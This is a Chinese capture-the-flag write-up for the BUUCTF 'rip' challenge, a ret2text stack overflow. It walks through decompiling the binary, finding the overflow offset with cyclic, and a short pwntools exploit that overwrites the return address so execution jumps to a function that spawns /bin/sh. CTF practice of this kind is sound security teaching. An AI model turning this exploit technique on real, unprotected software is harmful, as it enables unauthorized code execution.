0x01 题目

BUU 的rip ,看题目应该是溢出控制程序跳转
image.png

0x02 基本信息

基本信息
没有任何保护
image.png
运行试试
程序会让你输入一个东西 然后打印出来 结束程序
image.png

0x03 反编译 调试

IDA 静态反编译
image.png
image.png
image.png
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

思路 :可以用从gets 栈溢出覆盖返回地址 跳转到 包含/bin/sh 的函数**
fun 函数地址为: 0x401186

0x04 pwn-gdb 动态调试

使用cyclic 生成100 个垃圾数据
image.png
单步到 等待gets输入的地方,放入生成好的垃圾数据
image.png
image.png
用pwndgb 计算出 覆盖到ret 地址的偏移 cyclic agaa
覆盖到栈rsp 处
image.png

0x05 exp 编写

gets 写入数据 23 位后覆盖返回地址
payload =”a”*23 + 劫持函数地址

  1. from pwn import *
  2. p=process("./pwn1")
  3. #p=remote("node3.buuoj.cn",27509)
  4. system=0x401186
  5. payload="a"*23+p64(system).decode("iso-8859-1")//p64() 把数据按64位小端序存放 python3不能byte+ 字符串,需要把byte 转字符
  6. p.recvuntil("please input\n")
  7. p.sendline(payload)
  8. p.interactive()

0x06栈溢出

ret2text BUU_RIP - 图11

ret2text BUU_RIP - 图12
ret2text BUU_RIP - 图13
ret2text BUU_RIP - 图14
ret2text BUU_RIP - 图15
ret2text BUU_RIP - 图16
ret2text BUU_RIP - 图17

0x07

参考:https://zhuanlan.zhihu.com/p/25816426
https://sploitfun.wordpress.com/2015/